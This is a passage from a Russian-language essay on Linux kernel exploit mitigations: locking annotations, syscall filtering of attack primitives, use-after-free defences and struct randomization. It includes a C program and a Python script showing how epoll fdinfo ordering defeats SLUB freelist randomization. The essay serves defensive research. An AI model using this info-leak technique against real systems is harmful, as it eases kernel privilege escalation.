5 void unlock_mutex(struct mutex *p) __attribute__((release_capability(*p)));
6
7 struct foo {
8 int a __attribute__((guarded_by(mutex)));
9 struct mutex mutex;
10 };
11
12 int good(struct foo *p1, struct foo *p2) {
13 lock_mutex(&p1->mutex);
14 int result = p1->a;
15 unlock_mutex(&p1->mutex);
16 return result;
17 }
18
19 int bogus(struct foo *p1, struct foo *p2) {
20 lock_mutex(&p1->mutex);
21 int result = p2->a;
22 unlock_mutex(&p1->mutex);
23 return result;
24 }
$ clang++ -c -o thread-safety-test.o thread-safety-test.cpp -Wall -Wthread-safety
thread-safety-test.cpp:21:22: warning: reading variable 'a' requires holding mutex 'p2->mutex' [-Wthread-safety-precise]
int result = p2->a;
^
thread-safety-test.cpp:21:22: note: found near match 'p1->mutex'
1 warning generated.
$
Однако в настоящий момент это не работает при компиляции кода как кода на языке C, поскольку атрибут guarded_by не может найти другого элемента структуры; похоже, он был спроектирован в основном для использования в коде C++. Ещё более фундаментальная проблема заключается в том, что, похоже, отсутствует встроенная поддержка различения других правил доступа к элементу структуры в зависимости от состояния жизненного цикла объекта. Например, почти все объекты с заблокированными элементами будут иметь функции инициализации/разрушения, имеющие эксклюзивный доступ к всему объекту и способны получать доступ к элементам без блокировки. (В таких состояниях блокировка может даже и не инициализироваться.)
Кроме того, некоторые объекты имеют больше состояний жизненного цикла; в частности, для многих объектов с жизненным циклом, регулируемым RCU, доступ через ссылку RCU без предварительного обновления ссылки до учитывающейся в refcount возможен только к части множества элементов. Возможно, эту проблему можно решить введением нового атрибута типа, который можно использовать для пометки указателей на структуры в особых состояниях жизненного цикла? (Для кода на C++ Thread Safety Analysis компилятора Clang просто отключает все проверки во всех функциях конструкторов/деструкторов.)
Я надеюсь, что с некими расширениями нечто напоминающее Thread Safety Analysis компилятора Clang можно использовать для модификации части уровня безопасности в процессе компиляции против непреднамеренных гонок данных. Для этого потребуется добавить множество аннотаций, в частности, к заголовкам, чтобы задокументировать необходимую семантику блокировок; но такие аннотации, вероятно, всё равно необходимы для обеспечения продуктивной работы над сложной кодовой базой. По моему опыту, в случае отсутствия подробных комментариев/аннотаций о правилах блокировок, любая попытка изменения фрагмента кода, с которым вы знакомы плохо, превращается в экскурсию по зарослям окружающих его графов вызовов в попытках распутать предназначение этого кода.
Серьёзный недостаток заключается в том, что для этого необходимо внушить сообществу разработчиков с готовой базой данных идею о заполнении и поддержке таких аннотаций. И ещё кому-то придётся писать инструментарий анализа для проверки этих аннотаций.
На данный момент в ядре Linux есть очень грубая валидация блокировки при помощи sparse; однако эта инфраструктура неспособна распознавать ситуации, при которых используется ошибочная блокировка, и не умеет валидировать то, что элемент структуры защищён блокировкой. Также она неспособна правильно работать с такими вещами, как условная блокировка, что усложняет использование всего, кроме спин-блокировок/RCU. Валидация блокировки во время выполнения в ядре при помощи LOCKDEP является более продвинутой техникой, но она в основном делает упор на правильность блокировки указателей RCU, а также на распознавание зависаний (его основная задача); повторюсь, нет механизма, позволяющего, например, автоматически валидировать то, что к элементу структуры доступ осуществляется только под конкретной блокировкой (вероятно, это было бы достаточно затратно реализовывать с валидацией во время выполнения). Кроме того, являясь механизмом валидации во время выполнения, он неспособен выявлять ошибки в коде, которые не исполняются при тестировании (хотя он может комбинировать отдельно наблюдаемое поведение в сценарии гонки даже без наблюдаемой гонки).
блокировок
Альтернативным подходом к проверке правил безопасности при работы с памятью во время компиляции заключается или в выполнении проверки после компиляции всей кодовой базы, или при помощи внешнего инструмента, анализирующего всю кодовую базу. Это позволит такому инструментарию анализа выполнять анализ во всех единицах компиляции, что уменьшает объём информации, которую необходимо явно указывать в заголовках. Если добавление аннотаций в заголовках для вас неприемлемо, то это может быть более подходящим решением; но это также уменьшает полезность живых читателей кода, если только предполагаемую семантику не сделать видимой для них при помощи какой-нибудь специальной программы для просмотра кода. Кроме того, в дальней перспективе это может быть менее эргономичным, если изменения в одной части ядра могут привести к сбою верификации других частей, особенно когда эти сбои проявляются только в некоторых конфигурациях.
Я считаю, что глобальный статический анализ является хорошим инструментом для поиска некоторых подмножеств багов, а также он может помочь с поиском наихудших случаев глубины стеков ядра или с доказательством отсутствия взаимоблокировок, но, вероятно, он меньше подходит для доказательства корректности безопасности при работе с памятью?
ограничений syscall
Так как быстрые пути выполнения распределителя (и в SLUB, и в распределителе страниц) реализованы при помощи структур данных для каждого ЦП, простота и надёжность эксплойтов, стремящихся заставить распределитель памяти ядра перераспределить память конкретным образом, можно повысить, если нападающий имеет полный контроль над назначением потоков эксплойта ядрам ЦП. Я называю такую способность, позволяющую облегчить эксплойт влиянием на состояние/поведение соответствующей системы, «примитивом атаки». К счастью для нас, Linux позволяет задачам прикрепляться к конкретным ядрам ЦП без требования привилегий при помощи системного вызова sched_setaffinity().
(Ещё один пример: примитив, дающий нападающему довольно мощные возможности — это возможность создавать бессрочные сбои простоя ядра по адресам пользовательского пространства при помощи [FUSE](https://googleprojectzero.blogspot.com/2016/06/exploiting-recursion-in- linux-kernel_20.html#:~:text=pause%20the%20kernel%20thread) или userfaultfd.)
Как и в случае с описанным в разделе «Уменьшение поверхности атаки», возможности нападающего по использованию таких примитивов можно уменьшить благодаря фильтрации системных вызовов; но хотя механизм и проблемы совместимости в этих случаях схожи, всё остальное достаточно сильно различается:
Уменьшение примитивов атак в обычном случае не может надёжно защитить от эксплойта бага; нападающий иногда может получить схожий, но менее удобный (более сложный, менее надёжный/обобщённый...) примитив косвенно, например:
Смысл уменьшения поверхности атаки заключается в ограничении доступа к коду, который подозревается в наличии багов с возможностью эксплойта; в кодовой базе, написанной на языке, небезопасном при работе с памятью, это обычно относится практически ко всей кодовой базе. Часто уменьшением поверхности атак пользуются по возможности: вы разрешаете всё, что вам нужно, а остальное по умолчанию запрещаете.
Уменьшение примитивов атаки ограничивает доступ к коду, который подозревается в том, что предоставляет, или точно предоставляет примитивы для эксплойтов (иногда очень конкретные). Например, можно решить запретить доступ конкретно к FUSE и userfaultfd для основной части кода, потому что они удобны для эксплойтов ядра, а если один из этих интерфейсов действительно нужен, спроектировать обходной путь, избегающий раскрытия примитива атаки в пользовательское пространство. Это отличается от уменьшения поверхности атаки, когда часто бывает логично ограничивать доступ к любой функции, которую захочет использовать допустимая рабочая нагрузка.
Хорошим примером уменьшения примитивов атак является vm.unprivileged_userfaultfd sysctl, изначально введённый для того, чтобы userfaultfd стал полностью недоступным для обычных пользователей, а позже был модифицирован, чтобы пользователям можно было предоставить часть функциональности, не выдавая опасного примитива атаки. (Но если вы можете создавать пользовательские пространства имён без привилегий, то всё равно можете использовать FUSE для достижения эквивалентного эффекта.)
В случае реализации поддержки списков допустимых системных вызовов для находящегося в песочнице системного компонента или чего-то подобного правильно будет явным образом отслеживать явно запрещённые системные вызовы для уменьшения примитивов атак; в противном случае кто-нибудь может случайно разрешить их в будущем. (Думаю, это схоже с проблемами, с которыми может столкнуться разработчик при поддержке ACL...)
Но аналогично действиям из предыдущего раздела, уменьшение примитивов атак тоже склонно к отключению доступности части функциональности, поэтому может быть применимо не во всех ситуациях. Например, новые версии Android намеренно косвенно дают приложениям доступ к FUSE через механизм AppFuse. (Это API на самом деле не предоставляет прямого доступа к /dev/fuse, однако перенаправляет запросы на чтение/запись приложению.)
Способность восстанавливаться после oops ядра в эксплойте может помочь нападающему компенсировать нехватку информации о состоянии системы. При определённых условиях она даже может служить в качестве «двоичного оракула», который можно с большим или меньшим удобством использовать для двоичного поиска значения или чего-то подобного.
([В некоторых дистрибутивах ситуация была ещё хуже](https://googleprojectzero.blogspot.com/2018/09/a-cache-invalidation-bug- in-linux.html), если для непривилегированных пользователей был доступен dmesg; так что если вам удавалось вызвать oops или WARN, вы могли получить состояния регистров но всех фреймах IRET в стеке ядра; это можно [использовать для утечки такой информации, как указатели ядра](https://googleprojectzero.blogspot.com/2018/09/a-cache-invalidation-bug- in-linux.html#:~:text=Leaking%20pointers%20from%20dmesg). К счастью, сегодня большинство дистрибутивов, в том числе и [Ubuntu 20.10](https://git.launchpad.net/~ubuntu- kernel/ubuntu/+source/linux/+git/groovy/commit/?id=f2fac7568f6acdb37de0696717f23dedc02fbe48), ограничивает доступ к dmesg.)
В настоящее время Android и Chrome OS устанавливают флаг panic_on_oops, означающий, что машина сразу же перезапускается после того, как произойдёт oops ядра. Это усложняет использование oops в качестве части эксплойта и логичнее с точки зрения надёжности — система какое-то время будет отключена и потеряет существующее состояние, однако сбросится в точно хорошее состояние вместо того, чтобы продолжать работу в потенциально поломанном состоянии, особенно если сбойный поток содержит мьютексы, которые никогда бы больше не были освобождены, или нечто подобное. С другой стороны, если происходит сбой какого-то сервиса в десктопной системе, это, вероятно, не должно приводить к немедленному отключению всей системы и потере несохранённого состояния, поэтому panic_on_oops может быть в этом случае слишком радикальным решением.
Для качественного решения этой проблемы может потребоваться более тонкий подход. (Например, grsecurity уже долгое время имеет возможность захвата конкрентых UID, вызвавших сбои.) Возможно, будет логично позволить демону init использовать разные политики для сбоев в разных сервисах/сессиях/UID?
Защита, которая надёжно бы предотвратила эксплойт этой проблемы, заключалась бы в детерминированном устранении возможности использования освобождённой памяти. Такое решение надёжно защитило бы ранее занятую объектом память от доступов через висящие указатели на объект, по крайней мере после того, как память была использована для другой цели (в том числе и для хранения метаданных кучи). В случае операций записи для этого, вероятно, потребуется или атомарность проверок доступа и самой записи, или отложенный механизм освобождения наподобие RCU. Для простых операций чтения это также может быть реализовано выполнением проверки доступа после чтения, но перед использованием считанного значения.
Серьёзный недостаток такого подхода самого по себе заключается в том, что дополнительные проверки при каждом доступе памяти, вероятно, чрезвычайно сильно снизят эффективность, особенно если процесс устранения не может делать никаких допущений о том, какие виды параллельного доступа могут происходит с объектом или какую семантику имеют указатели. (В реализации proof-of-concept, которую я демонстрировал на LSSNA 2020 (слайды, видеозапись) увеличение нагрузки на ЦП составляет приблизительно 60%-159% в активно задействующих ядро бенчмарках и около 8% в активно задействующих пользовательское пространство бенчмарках.)
К сожалению, даже детерминированного устранения use-after-free часто бывает недостаточно для детерминированного ограничения радиуса поражения чего-то наподобие ошибки с refcount для объекта, с которым она произошла. Рассмотрим случай, когда два пути исполнения кода параллельно работают с одним объектом: Путь A предполагает, что объект жив и подвержен обычным правилам блокировки. Путь B знает, что количество ссылок достигло нуля, предполагая, что он, следовательно, имеет эксклюзивный доступ к объекту (то есть все элементы мутабельны без ограничений блокировок), и пытается удалить объект. Затем Путь B может начать удалять ссылки, которые объект хранил на другие объекты, а Путь A будет следовать по тем же ссылкам. Далее это может привести к использованию освобождённой памяти для объектов, на которых показывают указатели. Если одному и тому же процессу исправления подвергаются все структуры данных, это может и не быть особой проблемой; но если некоторые структуры данных (например, struct page) незащищены, это может допустить обход процесса исправления.
Подобные проблемы относятся и к структурам данных с элементами union, используемыми в других состояниях объектов; например, вот некая произвольная структура данных ядра с rcu_head в union (просто произвольный пример; насколько я знаю, в этом коде нет никаких ошибок):
Code:Copy to clipboard
struct allowedips_node {
struct wg_peer __rcu *peer;
struct allowedips_node __rcu *bit[2];
/* While it may seem scandalous that we waste space for v4,
* we're alloc'ing to the nearest power of 2 anyway, so this
* doesn't actually make a difference.
*/
u8 bits[16] __aligned(__alignof(u64));
u8 cidr, bit_at_a, bit_at_b, bitlen;
/* Keep rarely used list at bottom to be beyond cache line. */
union {
struct list_head peer_list;
struct rcu_head rcu;
};
};
Если всё работает правильно, элемент peer_list используется только когда объект жив, а элемент rcu используется только тогда, когда запланировано отложенное освобождение объекта; поэтому с кодом всё в порядке. Однако если баг каким-то образом заставит выполнять считывание peer_list после инициализации элемента rcu, результатом станет несоответствие типов (type confusion).
На мой взгляд, это демонстрирует, что хотя способы устранения UAF имеют большую ценность (и позволяют надёжно предотвращать эксплуатацию этого конкретного бага), use-after-free — это просто одно из возможных последствий класса симптомов «запутанности состояния объектов» (который не всегда будет таким же, как класс багов первопричины проблемы). Будет ещё лучше наложить правила на состояния объектов и гарантировать то, что к объекту, например, больше нельзя было получить доступ через ссылку, подвергнутую атаке refcount после того, как refcount достиг нуля и логично переведён в состояние «отличные от RCU элементы, которыми эксклюзивно владеет поток, выполняющий удаление», «ожидается обратный вызов RCU, отличные от RCU неинициализированы» или «выполняющему удаление потоку дан эксклюзивный доступ к защищённым RCU элементам, другие элементы неинициализированы». Разумеется, применение такого способа устранения проблемы во время выполнения будет затратнее и запутаннее, чем надёжное устранение UAF; такой уровень защиты, вероятно, реалистичен только с определённым уровнем аннотаций и статической валидации.
Краткое описание: некоторые типы вероятностных защит от UAF ломаются, если нападающий может организовать утечку информации о значениях указателей; а информация о значениях указателей легко утекает в пользовательское пространство, например, через сравнение указателей в структурах наподобие map/set.
Если детерминированное устранение UAF слишком затратно, альтернативой может быть вероятностное решение; например, пометка указателей небольшим количеством бит, проверяемым при доступе относительно метаданных объекта, а затем изменение метаданных этого объекта при освобождении объектов.
Недостаток этого подхода в том, что для разрушения защиты можно использовать утечки информации. Для примера я хочу рассказать об одном типе утечки информации (без каких-либо оценок его относительной важности по сравнению с другими типами утечек информации) — намеренных сравнениях указателей, которые являются многогранным процессом.
Относительно простым примером того, где он может стать проблемой, является системный вызов kcmp(). Этот системный вызов сравнивает два объекта ядра при помощи арифметического сравнения их пермутированных указателей (при помощи рандомизируемой при каждой загрузке пермутации, см. kptr_obfuscate()) и возвращает результат сравнения (меньше, равно или больше). Это позволяет пользовательскому пространству упорядочивать идентификаторы объектов ядра (например, дескрипторы файлов) на основе идентификации этих объектов ядра (например, экземпляров struct file), что, в свою очередь, позволяет пользовательскому пространству группировать множество таких идентификаторов при помощи поддерживающего объекта ядра стандартным алгоритмом сортировки за время O(n*log(n)).
Этот системный вызов можно злонамеренно использовать для повышения надёжности эксплойтов use-after-free против некоторых типов структур, потому что он проверяет равенство двух указателей на объекты ядра без доступа к этим объектам: нападающий может распределить объект, каким-то образом создать ссылку на неправильно подсчитанный объект, освободить объект, перераспределить его, а затем проверить, использовало ли перераспределение тот же адрес, при помощи kcmp() сравнив висящую ссылку и ссылку на новый объект. Если kcmp() содержит в сравнении биты метки указателя, это это с большой вероятностью также позволит разрушать вероятностные защиты против UAF.
По сути, та же проблема возникает, когда указатель ядра шифруется и передаётся в пользовательское пространство в fuse_lock_owner_id(), который шифрует указатель в files_struct в версию XTEA с открытым кодом, прежде чем передать его демону FUSE.
В обоих этих случаях приемлемым обходным решением будет явное вырезание битов меток, потому что указатель без битов метки по-прежнему уникальным образом идентифицирует область памяти; И учитывая, что это очень конкретные интерфейсы, намеренно раскрывающие определённую долю информации об указателях ядра в пользовательское пространство, будет логично изменить этот код вручную.
Более интересным примером поведения является этот фрагмент кода пользовательского пространства:
Code:Copy to clipboard
#define _GNU_SOURCE
#include <sys/epoll.h>
#include <sys/eventfd.h>
#include <sys/resource.h>
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#define SYSCHK(x) ({ \
typeof(x) __res = (x); \
if (__res == (typeof(x))-1) \
err(1, "SYSCHK(" #x ")"); \
__res; \
})
int main(void) {
struct rlimit rlim;
SYSCHK(getrlimit(RLIMIT_NOFILE, &rlim));
rlim.rlim_cur = rlim.rlim_max;
SYSCHK(setrlimit(RLIMIT_NOFILE, &rlim));
cpu_set_t cpuset;
CPU_ZERO(&cpuset);
CPU_SET(0, &cpuset);
SYSCHK(sched_setaffinity(0, sizeof(cpuset), &cpuset));
int epfd = SYSCHK(epoll_create1(0));
for (int i=0; i<1000; i++)
SYSCHK(eventfd(0, 0));
for (int i=0; i<192; i++) {
int fd = SYSCHK(eventfd(0, 0));
struct epoll_event event = {
.events = EPOLLIN,
.data = { .u64 = i }
};
SYSCHK(epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event));
}
char cmd[100];
sprintf(cmd, "cat /proc/%d/fdinfo/%d", getpid(), epfd);
system(cmd);
}
Сначала он создаёт множество неиспользуемых eventfd. Затем он создаёт ещё больше eventfd и контрольные значения epoll для них (в порядке создания), с монотонно увеличивающимся счётчиком поля «data». После этого он просит ядро вывести текущее состояние экземпляра epoll, содержащее список всех зарегистрированных контрольных значений epoll, в том числе и значение элемента data (в шестнадцатеричном виде). Но как сортируется этот список? Вот результат выполнения этого кода на виртуальной машине с Ubuntu 20.10 (урезанный, потому что он немного длинный):
Code:Copy to clipboard
user@ubuntuvm:~/epoll_fdinfo$ ./epoll_fdinfo
pos: 0
flags: 02
mnt_id: 14
tfd: 1040 events: 19 data: 24 pos:0 ino:2f9a sdev:d
tfd: 1050 events: 19 data: 2e pos:0 ino:2f9a sdev:d
tfd: 1024 events: 19 data: 14 pos:0 ino:2f9a sdev:d
tfd: 1029 events: 19 data: 19 pos:0 ino:2f9a sdev:d
tfd: 1048 events: 19 data: 2c pos:0 ino:2f9a sdev:d
tfd: 1042 events: 19 data: 26 pos:0 ino:2f9a sdev:d
tfd: 1026 events: 19 data: 16 pos:0 ino:2f9a sdev:d
tfd: 1033 events: 19 data: 1d pos:0 ino:2f9a sdev:d
[...]
Здесь поле data: — это индекс цикла, который мы храним в элементе .data, отформатированный в шестнадцатеричном виде. Вот полный список значений data в десятеричном виде:
Code:Copy to clipboard
36, 46, 20, 25, 44, 38, 22, 29, 30, 45, 33, 28, 41, 31, 23, 37, 24, 50, 32, 26, 21, 43, 35, 48, 27, 39, 40, 47, 42, 34, 49, 19, 95, 105, 111, 84, 103, 97, 113, 88, 89, 104, 92, 87, 100, 90, 114, 96, 83, 109, 91, 85, 112, 102, 94, 107, 86, 98, 99, 106, 101, 93, 108, 110, 12, 1, 14, 5, 6, 9, 4, 17, 7, 13, 0, 8, 2, 11, 3, 15, 16, 18, 10, 135, 145, 119, 124, 143, 137, 121, 128, 129, 144, 132, 127, 140, 130, 122, 136, 123, 117, 131, 125, 120, 142, 134, 115, 126, 138, 139, 146, 141, 133, 116, 118, 66, 76, 82, 55, 74, 68, 52, 59, 60, 75, 63, 58, 71, 61, 53, 67, 54, 80, 62, 56, 51, 73, 65, 78, 57, 69, 70, 77, 72, 64, 79, 81, 177, 155, 161, 166, 153, 147, 163, 170, 171, 154, 174, 169, 150, 172, 164, 178, 165, 159, 173, 167, 162, 152, 176, 157, 168, 148, 149, 156, 151, 175, 158, 160, 186, 188, 179, 180, 183, 191, 181, 187, 182, 185, 189, 190, 184
Хотя он выглядит случайным, мы видим, что этот список можно разделить на блоки длиной 32, содержащие перемешанные сплошные последовательности чисел:
Code:Copy to clipboard
Блок 1 (32 значения в интервале 19-50):
36, 46, 20, 25, 44, 38, 22, 29, 30, 45, 33, 28, 41, 31, 23, 37, 24, 50, 32, 26, 21, 43, 35, 48, 27, 39, 40, 47, 42, 34, 49, 19
Блок 2 (32 значения в интервале 83-114):
95, 105, 111, 84, 103, 97, 113, 88, 89, 104, 92, 87, 100, 90, 114, 96, 83, 109, 91, 85, 112, 102, 94, 107, 86, 98, 99, 106, 101, 93, 108, 110
Блок 3 (19 значений в интервале 0-18):
12, 1, 14, 5, 6, 9, 4, 17, 7, 13, 0, 8, 2, 11, 3, 15, 16, 18, 10
Блок 4 (32 значения в интервале 115-146):
135, 145, 119, 124, 143, 137, 121, 128, 129, 144, 132, 127, 140, 130, 122, 136, 123, 117, 131, 125, 120, 142, 134, 115, 126, 138, 139, 146, 141, 133, 116, 118
Блок 5 (32 значения в интервале 51-82):
66, 76, 82, 55, 74, 68, 52, 59, 60, 75, 63, 58, 71, 61, 53, 67, 54, 80, 62, 56, 51, 73, 65, 78, 57, 69, 70, 77, 72, 64, 79, 81
Блок 6 (32 значения в интервале 147-178):
177, 155, 161, 166, 153, 147, 163, 170, 171, 154, 174, 169, 150, 172, 164, 178, 165, 159, 173, 167, 162, 152, 176, 157, 168, 148, 149, 156, 151, 175, 158, 160
Блок 7 (13 значений в интервале 179-191):
186, 188, 179, 180, 183, 191, 181, 187, 182, 185, 189, 190, 184
Происходящее здесь становится понятным, когда мы посмотрим на структуры данных, которые epoll использует внутри. ep_insert вызывает ep_rbtree_insert для вставки struct epitem в красно-чёрное дерево (разновидность отсортированного двоичного дерева); а это красно-чёрное дерево сортируется при помощи кортежа из struct file * и числа дескриптора файла:
Code:Copy to clipboard
/* Compare RB tree keys */
static inline int ep_cmp_ffd(struct epoll_filefd *p1,
struct epoll_filefd *p2)
{
return (p1->file > p2->file ? +1:
(p1->file < p2->file ? -1 : p1->fd - p2->fd));
}
То есть увиденные нами значения упорядочены на основании виртуального адреса соответствующего struct file; а SLUB распределяет struct file из страниц первого порядка (например, размером 8 КиБ), каждая из которых может хранить по 32 объекта:
Code:Copy to clipboard
root@ubuntuvm:/sys/kernel/slab/filp# cat order
1
root@ubuntuvm:/sys/kernel/slab/filp# cat objs_per_slab
32
root@ubuntuvm:/sys/kernel/slab/filp#
Это объясняет увиденное нами группирование чисел: каждый блок из 32 смежных значений соответствует странице первого порядка, которая ранее была пуста и использовалась SLUB для распределения объектов, пока не стала полной.
Обладая этим знанием, мы можем немного преобразовать эти числа, чтобы показать порядок, в котором объекты распределялись внутри каждой страницы (за исключением страниц, для которых мы не видели все распределения):
Code:Copy to clipboard
$ cat slub_demo.py
#!/usr/bin/env python3
blocks = [
[ 36, 46, 20, 25, 44, 38, 22, 29, 30, 45, 33, 28, 41, 31, 23, 37, 24, 50, 32, 26, 21, 43, 35, 48, 27, 39, 40, 47, 42, 34, 49, 19 ],
[ 95, 105, 111, 84, 103, 97, 113, 88, 89, 104, 92, 87, 100, 90, 114, 96, 83, 109, 91, 85, 112, 102, 94, 107, 86, 98, 99, 106, 101, 93, 108, 110 ],
[ 12, 1, 14, 5, 6, 9, 4, 17, 7, 13, 0, 8, 2, 11, 3, 15, 16, 18, 10 ],
[ 135, 145, 119, 124, 143, 137, 121, 128, 129, 144, 132, 127, 140, 130, 122, 136, 123, 117, 131, 125, 120, 142, 134, 115, 126, 138, 139, 146, 141, 133, 116, 118 ],
[ 66, 76, 82, 55, 74, 68, 52, 59, 60, 75, 63, 58, 71, 61, 53, 67, 54, 80, 62, 56, 51, 73, 65, 78, 57, 69, 70, 77, 72, 64, 79, 81 ],
[ 177, 155, 161, 166, 153, 147, 163, 170, 171, 154, 174, 169, 150, 172, 164, 178, 165, 159, 173, 167, 162, 152, 176, 157, 168, 148, 149, 156, 151, 175, 158, 160 ],
[ 186, 188, 179, 180, 183, 191, 181, 187, 182, 185, 189, 190, 184 ]
]
for alloc_indices in blocks:
if len(alloc_indices) != 32:
continue
# indices of allocations ('data'), sorted by memory location, shifted to be relative to the block
alloc_indices_relative = [position - min(alloc_indices) for position in alloc_indices]
# reverse mapping: memory locations of allocations,
# sorted by index of allocation ('data').
# if we've observed all allocations in a page,
# these will really be indices into the page.
memory_location_by_index = [alloc_indices_relative.index(idx) for idx in range(0, len(alloc_indices))]
print(memory_location_by_index)
$ ./slub_demo.py
[31, 2, 20, 6, 14, 16, 3, 19, 24, 11, 7, 8, 13, 18, 10, 29, 22, 0, 15, 5, 25, 26, 12, 28, 21, 4, 9, 1, 27, 23, 30, 17]
[16, 3, 19, 24, 11, 7, 8, 13, 18, 10, 29, 22, 0, 15, 5, 25, 26, 12, 28, 21, 4, 9, 1, 27, 23, 30, 17, 31, 2, 20, 6, 14]
[23, 30, 17, 31, 2, 20, 6, 14, 16, 3, 19, 24, 11, 7, 8, 13, 18, 10, 29, 22, 0, 15, 5, 25, 26, 12, 28, 21, 4, 9, 1, 27]
[20, 6, 14, 16, 3, 19, 24, 11, 7, 8, 13, 18, 10, 29, 22, 0, 15, 5, 25, 26, 12, 28, 21, 4, 9, 1, 27, 23, 30, 17, 31, 2]
[5, 25, 26, 12, 28, 21, 4, 9, 1, 27, 23, 30, 17, 31, 2, 20, 6, 14, 16, 3, 19, 24, 11, 7, 8, 13, 18, 10, 29, 22, 0, 15]
И эти последовательности почти одинаковы, только они передвинуты на разные величины. Именно так работает схема рандомизации списков свободной памяти SLUB, введённая в коммите 210e7a43fa905!
При создании kmem_cache SLUB (экземпляр распределителя SLUB для конкретного класса размера и потенциально других конкретных атрибутов, обычно инициализируемых на этапе загрузки) init_cache_random_seq и cache_random_seq_create заполняют массив ->random_seq случайно упорядоченными индексами объектов при помощи тасования Фишера-Йетса. Длина массива при этом равна количеству объектов, помещающихся на страницу. Когда затем SLUB берёт новую страницу из распределителя страниц более низкого уровня, он инициализирует список свободной памяти страницы, используя индексы из ->random_seq, начиная со случайного индекса в массиве (и переходя в начало, когда достигнут конец).
То есть в итоге мы можем обойти рандомизацию SLUB для slab, из которого распределяется struct file, потому что кто-то использовал его в качестве ключа поиска в определённом типе структуры данных. Это уже довольно нежелательно, если рандомизация SLUB должна обеспечивать защиту от некоторых типов локальных атак для всех slab'ов.
Эффект ослабления рандомизации кучи таких структур данных не обязательно ограничен случаями, в которых элементы структуры данных в пользовательском пространстве можно перечислить по порядку: если существует путь выполнения кода, производящий итерацию по упорядоченному дереву и освобождающий все узлы дерева, то это может иметь схожий эффект, потому что объекты будут размещены в списке свободной памяти распределителя с сортировкой по адресу, что аннулирует рандомизацию. Кроме того, у вас может получиться устроить утечку информации о порядке итерации через побочные каналы кэша и тому подобное.
Если мы добавляем реализацию устранения проблемы использования после освобождения, которая зависит от того, что атакующие не могут узнать, изменились ли после повторного распределения верхние биты адреса объекта, эта структура данных тоже может её разрушить. Этот случай запутаннее, чем такие вещи, как kcmp(), потому что здесь источником утечки порядка адресов является стандартная структура данных.
Вы могли заметить, что в некоторых из использованных мной примеров более-менее ограничены случаями, когда нападающий перераспределяет память с тем же типом, что и старое распределение , хотя типичная атака use-after-free заменяет объект другим типом, чтобы вызвать несоответствие типов. Пример бага, который можно использовать для повышения привилегий без несоответствия типов на уровне структуры C см. в записи 808 нашего багтрекера. Мой эксплойт этого бага начинается с операции writev() для файла с возможностью записи, он позволяет ядру удостоверитсья, что в файл действительно можно выполнять запись, а затем заменяет struct file на file только для чтения, указав на /etc/crontab, а затем позволяет writev() продолжить выполнение. Это позволяет получить root-привилегии при помощи бага use-after-free без необходимости разбираться с указателями ядра, схемами структур данных, ROP и тому подобным. Разумеется, такой подход работает не с каждым use-after-free.
(Кстати, пример утечек указателей через контейнерные структуры данных в движке JavaScript см. [в этом баге, о котором я сообщил Firefox в 2016 году, когда ещё не был сотрудником Google](https://thejh.net/misc/firefox- cve-2016-9904-and-cve-2017-5378-bugreport); он вызывает утечку младших 32 битов указателя при помощи операций с таймингами над некачественными хэш- таблицами, по сути, превращая атаку HashDoS в утечку информации. Разумеется, сегодня утечку указателей через побочные каналы в движке JS, вероятно, больше не стоит считать багом безопасности, потому что, скорее всего, можно получить тот же результат при помощи Spectre...)
виртуальных адресов за пределами slab
(Небольшое обсуждение о kernel-hardening list находится в [этой теме](https://lore.kernel.org/kernel- hardening/20201006004414.GP20115@casper.infradead.org/).)
Более слабая, но менее затратная с точки зрения ЦПУ альтернатива обеспечения полной защиты от use-after-free для отдельных объектов заключалась бы в обеспечении гарантии того, что виртуальные адреса, которые использовались для памяти slab, никогда повторно не используются за пределами slab, но чтобы при этом физические страницы можно было использовать повторно. По сути, это будет тот же подход, что использован в PartitionAlloc и других. С точки зрения ядра это по сути будет означать передачу распределений SLUB из пространства vmalloc.
Вот некоторые из сложностей этого подхода, которые мне удалось придумать:
Вероятность того, что эта защита может предотвратить превращение UAF в эксплуатируемое несоответствие типов, частично зависит от детализации slab'ов; если конкретные типы структур имеют собственные slab'ы, она обеспечивает большую защиту по сравнению с ситуацией, когда объекты сгруппированы только по размеру. То есть для повышения удобства slab-памяти с виртуальной поддержкой будет необходимо заменить стандартные slab'ы kmalloc (которые содержат различные объекты, сгруппированные только по размеру) на те, которые разделены по типу и/или участку распределения. (Ребята из сообщества grsecurity/PaX смутно намеали на что-то подобное с использованием инструментирования компилятора.)
структуры
Проблемы безопасности памяти часто используются таким образом, что задействуется несоответствие типов; например, при использовании use-after-free заменой освобождённого объекта на новый объект другого типа.
Защита, впервые предложенная grsecurity/PaX, заключается в перемешивании порядка членов структуры во время сборки, чтобы усложнить использование несоответствия типов с применением структур; версия Linux с этим решением находится в [scripts/gcc- plugins/randomize_layout_plugin.c](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/scripts/gcc- plugins/randomize_layout_plugin.c).
Эффективность этого способа частично зависит от того, вынужден ли нападающий использовать проблему как несовпадение между двумя структурами, или может вместо этого использовать её как несовпадение между структурой и массивом (например, содержащим символы, указатели или PTE). Особенно если выполняется доступ к одному члену структуры, атака через несоответствие массивов и структур всё равно является возможной: можно заполнить весь массив одинаковыми элементами. Против описанного в этом посте несоответствия типов (между struct pid и записями в таблице страниц), частично эффективной может быть рандомизация схемы структуры, так как количество ссылок в два раза меньше размера PTE, и поэтому их случайно можно расположить с пересечением с верхней или нижней половиной PTE. (Только нужно учесть то, что Linux-версия randstruct вверх по потоку рандомизирует только явно размеченные структуры или структуры, содержащие исключительно указатели на фукнции, а у struct pid нет подобной разметки.)
Разумеется, чёткое разграничение структур и массивов — это чрезмерное упрощение; например, в некоторых типах структур, как и в массиве, может быть большое количество указателей одного типа или контролируемые нападающим значения.
Если нападающий не может полностью обойти рандомизацию схемы структуры, заполнив всю структуру, то уровень защиты зависит от способа распространения сборок ядра:
